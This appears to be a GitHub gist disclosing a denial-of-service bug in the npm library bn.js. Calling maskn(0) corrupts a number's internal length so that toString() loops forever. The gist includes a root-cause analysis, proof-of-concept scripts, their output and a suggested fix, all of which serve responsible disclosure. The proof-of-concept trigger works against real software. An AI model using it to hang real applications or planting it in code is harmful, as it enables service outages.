Skip to content

Instantly share code, notes, and snippets.

@Kr0emer
Created February 8, 2026 14:09
Show Gist options
  • Select an option

  • Save Kr0emer/02370d18328c28b5dd7f9ac880d22a91 to your computer and use it in GitHub Desktop.

Select an option

Save Kr0emer/02370d18328c28b5dd7f9ac880d22a91 to your computer and use it in GitHub Desktop.

bn.js maskn(0) Denial of Service — Infinite Loop

Summary

A Denial of Service (DoS) vulnerability exists in bn.js (all versions through 5.2.2). Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.

Affected Package

  • Package: bn.js
  • Ecosystem: npm
  • Repository: https://github.com/indutny/bn.js
  • Affected versions: All versions up to and including 5.2.2 (latest)
  • CWE: CWE-835 (Loop with Unreachable Exit Condition)
  • Severity: Medium

Discovery Process

While performing fuzz testing on cryptographic JavaScript libraries, I discovered that calling maskn(0) produces an internally inconsistent BN object. Specifically:

  1. imaskn(bits) computes s = (bits - r) / 26 where r = bits % 26. When bits = 0, both s and r are 0.
  2. The method then sets this.length = Math.min(s, this.length), which results in this.length = 0.
  3. bn.js has an internal invariant that this.length >= 1 (even for the value zero, the representation should be words = [0], length = 1).
  4. The _strip() call at the end of imaskn only handles the case where length > 1, and does not correct length = 0.

This broken internal state causes any method that loops until the number "becomes zero" (e.g., toString(), divmod()) to loop forever, because the termination condition isZero() checks this.length === 1 && this.words[0] === 0, which is never satisfied when length = 0.

Root Cause Analysis

The vulnerable code is in BN.prototype.imaskn (lib/bn.js):

BN.prototype.imaskn = function imaskn (bits) {
  assert(typeof bits === 'number' && bits >= 0);
  var r = bits % 26;
  var s = (bits - r) / 26;

  // ...

  if (this.length <= s) {
    return this;
  }

  if (r !== 0) {
    s++;
  }
  this.length = Math.min(s, this.length);
  // When bits=0: s=0, so this.length = min(0, original_length) = 0

  if (r !== 0) {
    var mask = 0x3ffffff ^ ((0x3ffffff >>> r) << r);
    this.words[this.length - 1] &= mask;
  }

  return this._strip();
  // _strip() does NOT fix length=0, it only strips leading zeros when length>1
};

The issue: when bits = 0, s = 0 and r = 0, so the early return (this.length <= s) is skipped for any non-zero number (since this.length >= 1 > 0 is false only if length is already 0). Then this.length is set to Math.min(0, this.length) = 0. The _strip() method does not handle this edge case.

Proof of Concept

Minimal PoC

const BN = require('bn.js'); // any version up to 5.2.2

const x = new BN('1', 10).maskn(0);

// Internal state is now corrupted:
console.log('x.words.length =', x.words.length); // 1
console.log('x.length       =', x.length);        // 0 (INVALID - should be >= 1)
console.log('x.isZero()     =', x.isZero());      // false (WRONG - should be true)

// This will hang forever:
// console.log(x.toString());

Full PoC with Timeout Detection

'use strict';
const { spawnSync } = require('child_process');
const BN = require('bn.js');

const x = new BN('1', 10).maskn(0);
console.log('[state] x.words.length =', x.words.length);
console.log('[state] x.length       =', x.length);
console.log('[state] x.isZero()     =', x.isZero());
console.log('[state] expected: maskn(0) should represent 0');
console.log('');

const childCode = `
  const BN = require('bn.js');
  const x = new BN('1', 10).maskn(0);
  // This call should return "0", but hangs for the vulnerable behavior.
  console.log(String(x));
`;

const r = spawnSync(process.execPath, ['-e', childCode], {
  encoding: 'utf8',
  timeout: 1500,
});

if (r.error && r.error.code === 'ETIMEDOUT') {
  console.log('[PoC] toString() timed out -> DoS reproduced');
  process.exit(0);
}
if (r.status === 0) {
  console.log('[PoC] no timeout, child output:', JSON.stringify(r.stdout.trim()));
  process.exit(1);
}
console.log('[PoC] child exited with status', r.status);
if (r.stderr) {
  console.log('[PoC] stderr:', r.stderr.trim());
}
process.exit(1);

PoC Output

[state] x.words.length = 1
[state] x.length       = 0
[state] x.isZero()     = false
[state] expected: maskn(0) should represent 0

[PoC] toString() timed out -> DoS reproduced

Environment

  • OS: Ubuntu (VMware Virtual Platform)
  • Node.js: v18+ (also reproducible on other versions)
  • bn.js: 5.2.2 (latest), also affects all prior versions

Impact

  • bn.js has 5,670+ npm dependents, including critical cryptographic libraries such as elliptic, browserify-sign, create-ecdh, and others widely used in blockchain/Web3 and TLS/SSL applications.
  • Any application where an attacker can influence the bits parameter passed to maskn() (e.g., via user-supplied key lengths, bit widths, or cryptographic parameters) is vulnerable to a complete process hang.
  • The infinite loop consumes 100% CPU on the affected thread with no way to recover.

Suggested Fix

Add a guard for length = 0 at the end of imaskn:

// Option 1: Special-case bits=0
if (bits === 0) {
  this.words[0] = 0;
  this.length = 1;
  this.negative = 0;
  return this;
}

// Option 2: Add to _strip() or end of imaskn
if (this.length === 0) {
  this.words[0] = 0;
  this.length = 1;
}

Maintainer Status

  • A similar root cause (length = 0 leading to infinite loop in toString()) was reported in 2018 as Issue #186 (new BN(null).toString()) and remains unfixed as of February 2026.
  • The repository shows minimal maintainer activity in recent years.

Timeline

  • 2026-02-08: Vulnerability discovered and PoC created
  • 2026-02-08: Submitted to Snyk vulnerability disclosure program

Credit

Kr0emer

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment